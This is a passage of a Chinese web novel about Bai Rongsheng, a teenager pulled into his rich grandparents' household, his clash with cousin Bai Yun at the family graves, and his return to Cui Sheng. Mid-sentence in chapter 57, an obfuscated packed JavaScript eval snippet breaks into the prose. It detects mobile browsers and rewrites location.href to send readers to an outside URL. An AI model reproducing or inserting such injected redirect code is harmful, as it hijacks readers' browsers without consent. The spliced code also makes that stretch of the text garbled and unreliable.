白容生不是傻子,已经逐渐从许静身上品味出什么。他当然不会明说,笑了笑,挽着许静坐下,尽心尽力地陪她演一出温情戏,满足她的需求。 在哭完、埋怨完,许静心满意足了,轻轻地说:“容生,你没出大事就好。这件事是家里一个小孩子不听话,我和丛山已经教训过了。真是的,明明一家人,搞成这样,不是让人家看笑话吗?” 白容生意识到许静想把这件她认为的“丑事”遮掩过去,聪明地选择不再追问。 许静又靠在他的肩膀,喃喃说着“你受委屈了”之类的话。白容生目光一动,再次提出,他想回C市读完高三,大学再来江市。 要是之前,许静一百个不同意。好不容易找回来的孩子,还放在那个地方读书,别人不知道要怎么说闲话。 不过由于白容生受伤,他们公开宣布白容生身份的日程跟着推迟,也就是说,现在从法律上讲,白容生不是他们白家的人。 “其实我也觉得,我回来得太突然了。不只家里人没准备好,我也同样没准备好。”白容生不甚熟练地摆出依赖柔和的态度,观察许静的神态,“而且……奶奶,高考对我来说很重要,我还是想在熟悉的环境里高考,我发誓我的分数不会低的。” 许静眉头皱着,她显然是不同意的,可不知道在考虑什么,没有一口拒绝白容生的请求。 白容生没有紧逼,他在这里几乎不存在话语权,全看许静的心情。 意外的是,第二天许静就告诉他,他可以回去把高三读完。 “家里会给你安排新房子,生活费给你专门准备一张卡。啊哟,前些天说着给你买新手机,我也忘了。”许静一拍额头,吩咐管家去准备,依依不舍地说,“最近实在是乱,你留下来……唉,过年可一定要回来,我们一家人过个完整的年。” 就这样成功了?白容生心里不敢相信,但能回去总是好的,他不管怎样先答应,恨不得明天就走。 不过这些情绪不能表现,他得先显得留恋不舍,继续宽慰伤感的许静。 57.第 57 章 依照许静要求的搬家,过程比白容生预想的还要繁琐。 学校附近没有什么能让她入眼的高档住宅。负责办事的是白丛山的秘书,做事风格干练务实,也不知怎么劝说她的,很快就让许静松了口。 “不到一年你就能回家了,那时候正正经经给你办一场欢迎仪式,现在先委屈你一下。” 许静念叨着,说完皱眉仔细打量白容生的脸,“这个药真的管用吗?我看伤口怎么好得那么慢。” “已经恢复很快了。”白容生熟练地安抚她。 两人说了几句,那边白丛山下楼,许静随之起身,迎上去挽住他的手臂。 白容生初步了解了这个家里的礼节,同样站起身,说道:“爷爷好。” 他比之前乖顺很多的态度让白丛山满意不少,对他微微颔首:“快走了吧?回去好好学习,你必须靠分数进入江大,不然说出去多么让人看笑话。” 白容生看着地毯的花纹:“我会做到的。” “你必须做到。”白丛山语气加重,接着缓和了一点,“有什么需要的,都可以跟家里说,基本的生活上别委屈自己。” 叮嘱完白容生后,他在妻子和管家的簇拥下出门。 外面下着不小的雨,白容生从窗户向外看,花园里一片深重的湿绿色。白丛山的车驶出大门,他盯了一会,忽然说:“我想出去逛逛。” 这还是白容生来这里后第一次主动提出想出门,许静惊喜地表示:“当然可以啊!让司机跟着你去,下雨小心着凉噢。” 住宅区出去连公交车站都没有,白容生让司机送到最近的一家商场。下车后他称自己要逛很久,让司机先回去,等他通知再来接。 司机走后,白容生找到商场外的公交车站,投入两枚硬币,坐在最后排。玻璃上都是淋漓的水迹,他睡了一觉,在江城大学站下车。 江市在十多年前还叫江城,后面城市改了名字,但许多商店、学校,依然沿用江城。 学校的管理比较疏松,白容生跟着一位本校学生,在他刷卡后,若无其事地进了校门。 中途雨变得更大,溅起的水花沾湿了裤脚。白容生找了个教学楼进去躲雨,雨幕里赶着去上课的学生一边抱怨一边小心地避开水汪,还有没课的,几人坐在小桌旁边讨论作业。 这就是他想要进入的大学。 那天白容生从医院回来,看热闹不嫌事大的白新天就给他打了电话。先是得意地说白容生会出事都是因为他缺乏警惕心,再暗示想除掉他的,就是白家自己人。 白新天想的大概是穷乡僻壤出来的白容生被严峻形势吓到,进而后悔之前对他的傲慢态度,弯下腰来道歉。然而白容生对他的态度不咸不淡,让他心里很不爽快。 十几岁的高中生,装什么?难道不应该瑟瑟发抖、六神无主,感激不尽地接过他递出去的橄榄枝吗? 白新天忿忿的时间里,白容生忽然问:“我回来了,你之前准备搅乱他们的目的已经达成,现在还给我电话,其实你也想要更多的钱吧?” 那头的白新天猝然卡住。 “如果失去一个竞争对手,理论上你能获得的钱就更多了。”白容生声音平静,“你是想说,你能帮助我找出幕后黑手,我们一起干掉他?” 白新天立刻否认:“谁说的?我可没说!我只是单纯关心你,毕竟我们可是手足兄弟。” 说到最后,他也有点作呕,显然这话让两人都恶心。 两人各自都沉默片刻,白新天哼了声:“你在家里也没有事,我们见一面吧,就在江大。” 白新天目前名义上是江大在读的硕士,具体什么硕士,白容生也不清楚。 不过就他所知,那顶着一长串名头的两年制硕士,学费贵得惊人,名额稀少,毕业连论文都不需要,教授签个字就能拿证,大概可以推测出是什么状况的水货。 白新天通常不在学校,今天来学校交他找枪手代写的作业,顺便约白容生出来见一面。 “走,这边。”靠着白容生的描述找到他的白新天开着车,降下车窗跟他招手,“哎你伞收一下,我车里都湿了。” 白容生置若罔闻,白新天只好自顾自骂两句,“去学校的咖啡厅吧,正好把我卡里的钱刷完。” 店里人不多,两人坐下后,白新天开门见山:“这件事,你就这样了了?” 白容生说:“我不打算追究,也没办法追究,事情就是这样,我听家里的安排。” 白新天根本不信他是那种会忍气吞声的人,怀疑地问:“你真的假的?要不是你被人半路救了——听说你是被哪个工作人员看见的?——你就没想过,假如你真的被带走,现在说不定都成一块一块的,在江水里飘了!” 白容生手指转着咖啡杯,“我更好奇你为什么那么关心这个问题,你知道是谁吧?” 白新天换了个姿势:“当然知道,只是大家瞒着你罢了,毕竟都想着保护你么……可是这个罪魁祸首竟然没受到处理,你不觉得奇怪?奶奶那么喜欢你,结果你受伤,她却没反应。” “我服从他们的决定。”白容生说。 白新天瞪了他两眼,恨铁不成钢,“好吧,就你这样,哪怕小叔的股份都给你,你也守不住!” 白容生无动于衷,皱着眉喝光杯子里味道古怪的咖啡,看着白新天甩手出门。 他在江大逛到下午,才坐上公交回到商场,被司机接回白家。 * 许静很大方地买了一处房子,地点是白容生最初和崔盛住的那个小区。兜兜转转回到原地,推开窗户就能看见最开始住的那间房。 那间房子似乎终于被接手的大雁命人清理了,模糊能看见里面一团杂乱,窗户后面贴着褪色的红纸,草率地写着“本房出租/售”。 至于白容生现在住的房子,屋内装修和设施却是焕然一新,硬是把房价提高了一截。 白家的人在这里耽搁了两天才收拾完毕,拿出相机拍照证明他们圆满完成工作,回江市给许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335663|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静复命去了。 请了那么长的假,再回学校后,不出意外的,白容生又被冯少平叫去谈心。 “我知道你主意大,所以要跟你说清楚。高三时间紧迫,经不起浪费,既然准备高考,后面就不能像这样……”冯少平说了一堆,“你家里的事,我这个老师毕竟是外人,不好插手。之前听说,是你父亲那边的亲戚找到你了?不跟他们回去?” 白容生:“嗯,我还是想回来上学。” “那就好好地学。”冯少平叹气,“你这段时间不来学校,你的班长职务我给撤了,换别的同学。” 白容生毫无意见,还觉得身上一轻。冯少平要他把之前寄来的东西拿走,白容生坚定拒绝,转身从办公室跑了。 在江市的那些天就像一段意外的插曲,白容生重又回到他所熟悉的生活,脸上的伤口逐渐愈合,直到疤痕也消失不见。不过江市和白家的一切,却像根刺扎在他胸口,怎么都无法遗忘和忽视。 生活只是看似没有变化,比如他现在可以全身心沉浸在学习中,因为卡上有白家按时汇来的生活费,多到用不完;比如他有意无意地疏于社交,再加上李舜他们在另一个班,白容生已经习惯什么都一个人做。 偶尔,他还得接许静的电话,听她在那边哀愁地抒发想念和愧疚,通常在短暂地哭完后,许静的情绪又会好起来,顺手给他一点钱。 白容生花不了多少,大部分钱都攒了起来。 寒假前,高三年级终于迎来第一次模拟考。 白容生走出考场时有种刑满释放的错觉。他自我感觉发挥得还可以,只是不知道分数和排名的情况,根据学校历届的传统,一模的分数最接近高考。 他考完试,下午也没歇息,马不停蹄地买了一包纸钱,打车去北城区的洗头房。 太久没来,下次再来还不知道是什么时候。他虽然不迷信,但还是觉得,多少烧点纸钱,图个心安。 车快到的时候,前面的司机却喔了一声:“啊呀,你是要去那里啊,小伙子。那地方一大块都要拆了,你不知道?” 边说,他还怀疑地侧头打量白容生,目光里全是疑问,这个一脸学生气的小孩去那种地方做什么。 “拆了?”白容生一愣。 “对啊,什么市政工程嘛,北城区这边是重点改造的区域,好多地方都说影响市容,需要重修。”司机等红灯时伸手比划,“你去这地方之前不就是黄赌毒聚集地,那可是改造重点。这边路都拦上了,送不过去。” 白容生说:“没关系,师傅你送到附近就好。” 前两天下过雪,路边堆着发黑的残雪,正在修整的路面坑坑洼洼,行人都不好通过。 白容生左绕右绕,好不容易穿越施工场地抵达洗头房的遗迹。那栋小楼坍塌半边,露出的水泥切面灰扑扑的,吊着几块破砖,已经看不出曾经的样子。 下面是支出几根钢筋的废墟,覆盖着未化的积雪,埋着方琴骨灰盒的所谓坟墓,自然也了无踪迹了。 58.第 58 章 高三寒假也要在学校补课,白容生以此为借口,拖延到年前两三天,才再去江市。 白家习惯颇为传统,每逢重大年节,凡是能回家的,都要回家一起过年。白家空荡荡的大宅,也就那些天充满人气。 不过并不是所有人都能留下住宿的,不少人只是专程赶来吃个饭,晚上还得走。搁封建社会,大概是庶子和嫡子的区别。 白容生换鞋的时候大致扫了眼鞋子,还没脱下外套,就听一个人温和地叫他:“小弟回来了?” 说话的正是白允,白丛山大儿子白盛辉的孩子,白家目前血统最正的长孙。他的态度依旧克制有礼,只站在那里,微微俯视的目光带着些许傲慢。 他主动打招呼,白容生也只能站直回答:“大哥新年好。” 白允若有似无地笑了笑,他道:“你是第一次回家过年,我得提醒你一句,家里很重视礼节,你记得多看多学,不要丢脸。” 白容生没在意他说的话,只点头答应。 白允抬起手腕看了眼表,“你回来得正好,今天下午要去扫墓,你正该去给小叔扫一下,也算是了他这辈子一桩心事。” 纵使白容生再有城府,听到这话也不由脸色一变。 白允将他脸色的变化尽收眼底,笑容反而真挚了两分:“怎么了,小弟你不愿意吗?” 白容生蓦然掀起一股反胃感,不过越是这样,他越要同样露出温和客气的微笑:“当然不会,我很愿意。” 告别白允,白容生来到楼上给他准备的房间。上楼过程中零散碰见几个人,彼此都很陌生,草草点个头就算是问候。 空闲数月的房间被打扫得一尘不染,白容生放下包。他的行李箱早被佣人整理好了,面对着宽敞的房间长舒一口气。 白容生随意揉了把脸,连带着额前的头发都揉得乱七八糟。他伸长腿坐着放空片刻大脑,正打算起身去洗脸清醒一下,好思考下午的扫墓事宜,目光掠过墙角,猛地停住脚步。 墙角上方,悬着一颗漆黑的摄像头,稳定地闪烁着红灯。 监控?谁在他的房间里装监控? 这个监控和白家大门外、楼下走廊的摄像头一模一样,显然是一个牌子。 白容生不可置信地盯着镜头,第一反应是捡起什么扔过去给砸个粉碎。不过下一秒他的大脑就降温冷静了许多,镇定地去洗脸,再回来研究怎么关掉这东西。 研究半天未果,他下楼去找许静。 管家却告诉他,许静还在做皮肤保养,过一个多小时才能见人,在此期间,谁都不能打扰她——白丛山都不行。 白容生直截了当地问:“那么,我房间里的监控可以关掉吗?” 管家表情不变:“小少爷,这是太太担心你出事,你要体谅她的关心。” 白容生不是傻子,敏锐地从管家的神态和语气推断出,想从他这里关掉监控是不可能的事。他暂且忍了这口气,打算等许静露面再说。 许静做完保养,午饭时分才现身。 偌大一张餐桌,这顿午饭坐了差不多一半的人。白丛山要午饭后回来,许静自然坐主位,身边一个白允,一个是白容生。 其余人白容生都不认识,在许静介绍下勉强记住名字。 人多嘴杂,白容生没提监控的事,配合许静演一出合家欢乐的午饭,仍旧只吃了个半饱。 吃完饭后,许静对许久未见的白容生格外关照,搂着他坐回沙发。白允跟着过来,给许静泡茶,提了几句工作。 他作为白丛山名正言顺的第一继承人,早早就进入白家集团磨练,年纪轻轻,职位却不低。许静听了几句,说:“你弟弟也在,就不说这些无聊的话了,我听着都困。” 白允并不生气,笑道:“好吧,是我考虑不周。话说,小弟今年高三,成绩怎么样?我看最后冲刺阶段,回江市比较好,这边的老师更有经验。” 白容生回答:“还好,全校十几名吧,应该够江大。最后关头,就不换学校了,我怕我不能适应。” 许静只点头夸奖他,又说:“不要有压力,考不上也没什么,能差几分?保管让你进江大就是了。” 听得出来,她和白允一样,认为那种地方的学校水平寒酸,就算考个十几名——哪怕第一名,也没什么了不起的。 白容生看着茶壶,没反驳。在无所谓的事情上顺从他们可以减少很多麻烦。 白允又谈了几句家里的事,还说如果白容生无聊,可以跟他一起出去旅游。 话没说完,许静打断他:“容生过年还要去正式祭祖的,我和老头想着,趁过年时候公开最合适。” 白允短暂地停顿,面上掠过思索的神色,随后笑着说:“那当然最好了。” 他还忙,坐了坐就要回书房处理工作。白容生终于等到和许静私下相处,斟酌词句问:“奶奶,我看见我房间里装了摄像头……” “噢,那个啊。”许静恍然,“上次你出事,我真是放心不下,想来想去,还是得给你房间里增加一点安全措施。别怕,能看见监控的都是家里人。” 白容生:“可是我不习惯,不能关掉吗?” 许静:“不习惯那就得适应,你毕竟还是要回到这个家里的,对不对?你大哥之前在家里的时候,也是这样的,否则我们做家长的,怎么能放心呢?” 她说着说着,抽出纸巾按着眼眶的泪。白容生无可奈何,只得暂且不提这个。 他想着既然不能直接让许静关掉,那他就找个机会装作意外,把摄像头搞坏算了。 * 许静午休完,白丛山也回来了。他西装革履,站在客厅,看见白容生第一眼就皱起眉头。 “下午要去扫墓,你怎么还没换衣服?” 白容生莫名其妙,他本来就穿着简单的深色衣服,不认为哪里有错。白允刚下楼撞见这一幕,笑着说:“我带他去换吧。小弟第一次扫墓,不知道怎么做也很正常。” 白允打开衣帽间的门,看了一圈衣柜。 自白容生走后,他来不及拿的那些衣服都放在这里,满满当当。白允伸手挑出一套黑色正装:“要这样穿才行。扫墓扫的都是自家长辈,当然要认真对待。” 白容生拿过衣服,还没换,白允出门前留下一句话:“不过小弟你好像不是很高,恐怕穿上效果不会很好。如果不合身的话,可以找我借一套我以前的衣服。” 白家人都是高个子,白容生虽然发育得慢,但高中三年长了不少,在同龄人中不能算矮。C市地处北方,他大概有个平均水平,来到南方的江市后,甚至可以说算是高的。 白允也就比他高那么一些,不知道怎么厚颜无耻地说这种话。 如今房间里只有他们两人,白允那点隐藏的轻蔑和恶意,不加掩饰地流露出来。 白容生只看他一眼,没说话,抬手关上门。 关门后他对着镜子穿上外套,不知怎的心里灵光一闪。 目前看白家内部规矩很多,作为家长的白丛山和许静十分在乎家庭内部的和睦体面,哪怕只是表面的。在这种情况下,找外人对家庭成员动手,多少应该算是丑闻…… 那么能够对他动手,还被许静亲自遮掩的,至少在家里地位不低。 不会就是白允吧? 白容生心里这样想着,动作不停,迅速换上衣服,这次白丛山总算没再对他说什么。 白家去扫墓的有好几辆车,白丛山、许静以及赶回来的白松月坐第一辆。白允按理应该和他们一辆车,却主动提出,要和白容生一起。 车上除了司机,只有白容生和他两人。白允升起隔断前后的隔板,开门见山:“你知道等把你公开认回后会发生什么,对吧?” 他的态度让白容生很看不上,同样冷淡地说:“我不清楚,请你指教。” 白允带着点惊讶地笑了声:“别装傻啊,你不是傻子。按惯例,只要公开承认你的身份,你就彻底真正成为我们家的一员,同样,不出意外……小叔手里的东西都会归你,祖父祖母的遗嘱也会重写。不过,你有那个能力接受吗?” 来了。 白容生说:“这样关心我,是因为我可能会分走原本属于你的东西?” 白允道:“必须纠正你,该属于我的东西,你半点都拿不走。不如说其实我是好心提醒,白立才的遗产可不全是好的。” 白容生看向他,没说话。 “说真的,我倒没有那个闲心,一定要跟你为敌。”白允向后一倒,靠着椅背架起腿,“而且你本来也没有资格做我的对手,就你能够继承的那点股份,根本威胁不到我。不过,你知道家里有个婚约吧?” 白容生真正是莫名了:“什么婚约?” “嗯?”白允看起来同样疑惑,“你不知道?那你跟林善水那么亲热做什么,我以为你打算勾搭他呢。” 白容生觉得他脑子有毛病:“什么勾搭?林善水是男的,我跟他又不熟,再说我好 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白允又用那种看乡下土货的眼神看他,冷冷地说:“这不算什么大问题,最主要的是家世得配得上。你们差几岁,九岁,十岁?差十几岁的婚姻到处都是,般不般配又不止看年龄。” 白容生默然思索几秒,忽然问:“所以去年我来的时候,突然有人对我动手,难道是因为——” 白允竟然坦然承认:“你和林善水一起的照片被人发给我姐,她不高兴,我只好替她出气。你放心,没有要你命的意思,带走了最多也就是打你一顿。” 白容生向车窗外看了看,景色已经逐渐变得广阔旷远,不再是城区了。 他抬手拨开挠得脸发痒的头发,长久以来积攒的怒火却控制不住地在胸腔内膨胀,烧灼着他大脑里的理智。 白允还在说:“既然你不喜欢他,那么好办了。我希望你能拒绝继承你父亲的遗产,当然我会给你金钱上的补偿。主要是婚约这个,没想到祖母会当真……” 他的话没说完,因为表情淡然的白容生转头看着他,明明在听他说话,下一秒突然举手就是结实的一拳,直接砸在了白允的脸上! * “在搞什么,啊?简直是胡闹!” 白丛山几乎是愤怒之极地吼叫,手杖砸着地面,砸出一片尘土,“扫墓的时候,兄弟两个在车上打起来,这还像话吗?给谁看笑话不够,要给祖宗看笑话?” 白家本就是江市的家族,兴盛后更是仔细地将自家祖坟仔细地扩大、修整,以至于这片山坡,整齐排列的坟墓都是白家人。 白丛山气得脸上涨红,身后站着面色各异的其他来扫墓的白家人,各自悄悄打量被训的两人。 白允脸上还带着一块红肿,神色晦暗不明。他旁边的白容生领口被扯开了,表情冷淡,瞥着旁边。 刚刚在车上,白允抓着他,让白容生后脑在车门狠狠撞了一下。他现在全心关注着自己的头,担忧会不会因为这个影响高考。 应该不至于吧? 而训斥他们的白丛山还在继续,“简直是丢脸、无耻、混蛋!白允,以你的身份,你能和他打架吗?你说!” 白允叹了口气,他深深低头:“对不起,爷爷,是我的错。” 白允这样就认错了?白容生诧异地看向他,却听白丛山道:“是长大了,都不记得老规矩了?” 僵持几秒后,白允向前几步,走到白家墓地前的石碑前,规整地跪下。 随后,白丛山看向了白容生。 “你更是……”他的嘴唇甚至还有点发抖。因为白容生的脸和他站在那里冷漠抗拒的态度,都让白丛山回忆起不愉快的往事,回忆起那个和他作对很久、最终变成江市公认笑话的小儿子。 白家绝不能再出那样一个败类! 一念至此,白丛山紧盯着白容生,手杖重重敲击地面,砸出一个浅坑。 “白容生,你也是我的孩子,是白家的孩子。今天这事,你的错误比你哥还大!过来,和你哥一起认错。” 一时间,其余旁观的人连窃窃私语都停下了,不约而同注目过来。许静站在白丛山身旁,颈间的丝巾被风吹起,她也看着白容生,没有开口。 白容生扫视一周,只觉得匪夷所思,他问:“我也要跪?” 白丛山冷声:“当然!你也要学你爸,做个逆子吗?” 白容生没忍住笑出声,随后他在白丛山异常难看的脸色中,二话不说,转身就走。 59.第 59 章 郊区比城市要更冷一点,尤其是随着稀薄的冬日阳光消失,温度骤降。 白容生沿着宽阔平整的道路一直走。天色渐黑,他还没看见江市的影子,倒是前方有个镇子,他身上带了点现金,凑合住一晚应该可以。 白丛山没让人追上来——这是显而易见的。估计白容生勾起了他对白立才的不美好回忆,再加上在那么多人面前公然违抗他的命令,或许要把他气死了。 白容生实在有点走不动了,他翻过围栏,在路边找了只树桩坐下,随手按着泛起隐痛的脚腕。 身上这身衣服只是好看,穿上后才知道行动不便,而且不怎么保暖。白容生一直走的时候没感觉,坐了会就觉得寒气弥漫,只好叹口气准备继续走。 他慢腾腾起身时,路那边驶来两辆车,车灯明亮。 为了人身安全,白容生停在原地等车过去。灯光急速地自他身上飞掠过去,照得白容生微微眯了一下眼。 他没想到的是,已经开出一段距离的车忽然急停,转个弯又开了回来。 白容生一惊,警惕地看着车刹在他面前,随后,后面的车窗降下。 “哎哟,小白,是小白吧?” 昏蒙蒙暮色里,探出一张团胖的脸:“还真是啊!记得你丁叔不?” 竟然是丁晓东。 白容生当然记得,没来得及说话,丁晓东又说:“还是小崔这种年轻人眼神好,远远地说,好像是白家的小少爷。怎么一个人在这里走?上车来暖和一下吧。” 丁晓东的热络全部都来自于他身后的白家,白容生很清楚,他避重就轻地说:“我出来扫墓,和家里吵架了。” “小孩子么。”丁晓东立马以过来人的口吻说,“我女儿十几岁的时候,天天在家做混世魔王。过几年你们长大就明白啦……上车上车,我给你送回家去,一家人之间,哪有多大的仇。” 白容生绕过去坐上副驾驶。应付丁晓东的寒暄时,他侧过视线,崔盛掌着方向盘,面容冷峻。 说了几句,丁晓东转而打听扫墓的事,确定白容生是被带过来一同给白家人扫墓时,他心下了然,知道这是白家准备公开承认白容生的身份了。 可惜小孩子气性大、目光短浅,和骤然相认的家人合不来就闹矛盾,也不想想自己未来的生活可都要依靠白家。 丁晓东热情地说了一通,忽然想起什么,“对了,我还是听小崔说才知道,去年你在拍卖会那次,遇到点麻烦,是小崔帮了你?” 白容生点头:“是。” 被他们谈论的崔盛一言不发,专心开车。 丁晓东想到崔盛和白容生年纪差不多,又有这个缘分,不如让他们熟悉起来,能够不刻意地拉近关系。 他就说:“真是巧了!既然这样,晚上这事小崔你就别跟着我去,送小白少爷回家吧。去年那次擅离岗位,我也不扣你工资了,怎么样?” 崔盛笑了笑:“谢谢老板。” 车开到前面路口,崔盛和白容生下车换去另一辆。 天已经完全黑了,白容生看见第二辆车的人下车后,还从后备箱抬出一个裹在黑布里沉甸甸的东西,转移到丁晓东所在的车后备箱。 那黑布大概有一人的长度。 白容生心中产生不妙的预感。他想看第二眼,崔盛挡住他的视线,示意他上车。 这次车上只有他们两个人,车一启动,白容生安全带还没扣好,转头问开车的崔盛:“刚才那是人吗?” 崔盛言简意赅:“丁晓东的对手。我只负责开车,不清楚具体情况。” 过了会,他说:“怎么一个人在路上走?白家那些人对你怎么样?” 他这句话,突然使白容生反应过来,他和崔盛已经很久没见面了,足以令他们都对彼此的生活一无所知。 “嗯……还好吧,只是有点合不来。”他心不在焉地说,“我打了一个人,就自己离开了。” 车忽然停靠在路边,白容生一愣,崔盛已经转身靠近他,仔细地看着他的脸:“你还能打架?受伤了没?” 白容生顿时辩解道:“我的打人和你的不一样,但也是打人。没受伤,我不是好好的吗?” 尽管他的脑后鼓了个包,白容生决定忽略不提。 崔盛伸手抬起他的下巴,看过一遍后又在白容生身上几处摸了摸,检查完坐回去继续开车。 白容生看了会前方,接近城区,路上的车多了起来。他说:“我不回白家。” 崔盛:“没打算送你回去。” 白容生转头,崔盛却不看他,“去我那里先过一夜吧。” “你买了房子?”白容生好奇问。 崔盛没立刻回答,眼神专注地看着路况,隔了两秒说:“你怎么不叫我哥了?租的,我买不起。” 白容生不知道他怎么突然抛出这个问题,意外的同时,愕然发现,他突然也叫不出口了。 崔盛没说话,只看前面,白容生却莫名知道,他在等这个问题的回复。 越是这样,白容生反而越张不了口。 为什么?是因为长时间不见,难免变得生疏了;还是因为,来到江市,脱离了以往的生活,导致他们之间的关系也跟着变质? 不,绝对不是生疏。白容生在心里先自我否定。 虽然听上去难以言喻,不过他和崔盛之间好像不存在生疏这件事。事实上从他们第一次见面,好像就飞速跳过了陌生这个环节,自然而然地熟悉起来。 话说回来,应该怪崔盛莫名其妙提出这个问题,让他不好回答吧? 白容生很快就选择装不知道,跳过问题,说:“我在想,最坏的后果是白家不愿意把我认回去,虽然好像也不是很坏,不过这样的话就没钱了。” 他不觉得拿白家的钱有哪里不对,都是白立才欠他的。 崔盛回答得很快:“你上学的钱我出得起。” 正好红绿灯,他打开钱包,抽出一张卡递给白容生,“去年我给你攒的钱都在这里。你老师专门给我打过电话,说你成绩很好,让我不能耽误你学习。” 白容生惊讶:“老冯还跟你联系?” “你留在他那里的家长电话还是我的。”崔盛说着,见他不收,就把卡塞进白容生口袋。 “他们拒绝你不是坏事,我也不是很想让你留在白家,那地方并不好。”白容生脸上的伤口早已愈合,崔盛仍旧清楚地记得那里流出的鲜血的温度。他长出口气,终于把翻来覆去想过很久的话说出来。 “我想你能过得很好,但不仅是有钱……我不知道怎么说。如果白家对你好,我没有二话,可假如你在那边一直不开心,我更想你离开那里。我以后也不会再碰以前做的那些事,只有我们两人,过普通的生活,难道不好吗?” 白容生完全没想到崔盛会这样说。 他几乎瞬间就要开口答应。 没错,他和崔盛都还那么年轻,无牵无挂,随时可以去另一个城市开启新生活,毕竟好大学不止江大一所。或许十几年后,他还能开玩笑一样说,其实他是某个豪门私生子,却拒绝继承家业…… 可是他们现在连房子都买不起。 于白家瞥见的豪门一角如同浮光掠影,和车窗外江市明亮的夜景一起映进白容生眼底。但是在这座繁荣灿烂的城市里,崔盛跟着丁晓东,做的仍然是不干净的事。 白容生想着那只黑布袋,心说丁晓东是不是太穷了,舍不得给崔盛发工资? 混乱的思绪在他脑海里一转再转,最后白容生说:“不……我现在还不能走,不能离开白家,我还没有拿到我要的东西。” 他相信白丛山不会因为今天扫墓的事就把他赶走,同时这也是白容生在表明底线:他不是白允这种从出生就享受白家的好处,和白家深度捆绑的继承人。白容生目前连一个法律上的身份都没有,他的户口还和崔盛一起,自然可以不跪白家的祖坟。 崔盛没再说话。车停稳后,白容生跟着他下车。 这里是一处新社区,地理位置不错,房屋内部也是崭新的,只是生活痕迹不多,看得出崔盛不常在这里住。 白容生心里默默推测丁晓东开的工资应该还不算低,换鞋的时候崔盛却突然蹲下去,抓住他的脚踝看了一眼。 他差点没站稳,一把抓住柜门,腿还被崔盛紧紧握着。浅色的袜子后面洇开一块血迹,崔盛放开手:“我就说你走路样子不对,果然磨破了。” 白容生没那么娇气,认为这个不值一提,换上他拿出的新拖鞋,坐进沙发,感觉被什么咯了一下,伸手从垫子后摸出一把枪,放到旁边。 只有脱袜子的时候伤口被扯开,他才疼得抽了口气。崔盛扔给他创口贴,又去厨房做饭。 冰箱里储存的半成品,热起来很快。白容生顺着香味进厨房,从后面一趴,趴在崔盛的肩膀上。 以前有时候他也会这样,晚自习回来,生长期的身体需要能量,崔盛就去厨房给他做点加餐。白容生会在又困又饿的时候跟着进厨房,黏在崔盛背后,和他说点闲话。 已经很久没有这样过了。 崔盛绷紧的肩背微微放松了一点,这时白容生说:“哥,我想赚到钱再跟你一起走。” “你能赚什么钱?” “赚白家的钱。”白容生没提那个荒谬的婚约,“最少最少,我那个亲爹不能白死吧,他的遗产我肯定要拿到手的。” 崔盛关了火:“我可没说你一定要跟我走。” 白容生嘴倒是很快:“你不是我哥了吗?是我哥就得跟我一起啊。” 崔盛:“我只想你能过得好。” 他说着,转身顺手把贴着他的白容生抱起来,“重了,还能再长高点吗?” 白容生嘀咕着“应该可以”,被崔盛放下,端起他的那份晚饭,草草解决。 他没回白家,同样白家也没人联系他。 白容生不急。他洗了个澡,逐渐感觉到疲惫,很自然地走进主卧躺下。 房子面积不小,不过三间卧室中的一间被崔盛改为放杂物的地方,另一间次卧平时没人用,床上只有光秃秃的床垫。 他进主卧抱出被子枕头,白容生眼睛都闭上了,困倦地睁开,反应了好一会:“哥你不在这里睡?” 崔盛:“我去另一个房间。” 白容生很疑惑,他又不是女孩,长大了还得避开。之前和崔盛在一张床上挤着睡都习惯了,他不理解崔盛分开做什么。 “我想跟你一起睡。”他说着,懒洋洋地伸出一只手搭在床边,“为什么不跟我睡,你有女朋友了吗?” 崔盛却快速道:“别胡说。” 他站在床边,白容生不知道他犹豫什么。最后崔盛放下东西,翻身上床,对他说:“睡吧。” 白容生没几分钟便睡熟了。崔盛静静地看了会天花板,伴着他均匀的呼吸声,直到许久后,他无声无息地下床,走出房间。 因为毫无睡意,所以崔盛去阳台点了根烟,手臂搭在窗台上,徐徐弥散的烟雾,消失于半空。 他说不清楚这样回避的理由。 哪怕身体几乎要操纵他伸手去揽过白容生的肩膀,就像他们都熟悉的那样在拥抱中入睡,可是冥冥中一种模糊的感知,令他克制住了这样的动作。 白容生就像他的半身,他们是再亲密不过的一对兄弟,怎样拥抱和亲近都理所当然,没有任何回避的理由。 崔盛始终这样认为,直到他刚刚在厨房里,抱起白容生的时候发觉他已经快要成年,完全摆脱了之前稚气未脱的模样。 不再是小孩子了。他心想,长大后,和以前就不一样。 崔盛感到少见的心烦意乱,他掐灭烟,手背上落下一点湿冷。地处南方的江市,赶在年前,不情不愿地下了一场雨夹雪。 * 大年初二,白容生接到了来自白新天的电话。 这几天崔盛也放假,除了中间陪丁晓东参加两场饭局外,基本都在家里和白容生一起。 他们终于过了一个清净平和、无人打扰的新年。白容生买了几份江市这边的卷子,除按计划复习外,就是和崔盛共同准备过年。 打扫完再贴上春联的房屋看着不那么冷清,白容生认为这样下去也很好,甚至产生了一种逃避的念头时,白新天的电话又让他清醒了。 “我不找你,你是不是真打算一个字都不回了?”白新天语气古怪地说,“头还挺硬的,你不怕啊?” 不等白容生说话,他继续说,“我知道你在哪……你怎么跑去跟丁晓东的保镖同居了,喜欢这种?算了,假期结束之前先回家把户口手续什么的办了,成年后再搞的话比较麻烦。” 白新天说完,就挂了电话。 崔盛听见了,起身去拿外套:“走吧,我送你。” 白容生出门前叹口气,崔盛跟着停住脚步,低头看他。 “不想回去吗?”他低声问,没有开门,“不想回去就不回,你做什么我都支持你。” 白容生:“我……” 他只敢在崔盛面前露出这种迷茫的表情,但只有短暂的一瞬,随即白容生笑了下,“当然要回去,他们不会把我怎么样的,又不是去叉子那种人手里。” 崔盛打开门:“有事的话一定要找我。” 白容生随便地嗯了声,崔盛却挡在他前面,皱眉说:“我现在不怎么碰那些不干净的活,你只要叫我,我随时都能过去。” “我知道了。”白容生推一把他的肩膀,“等你哪天也成老板,我就靠你养着,再也不回白家。” 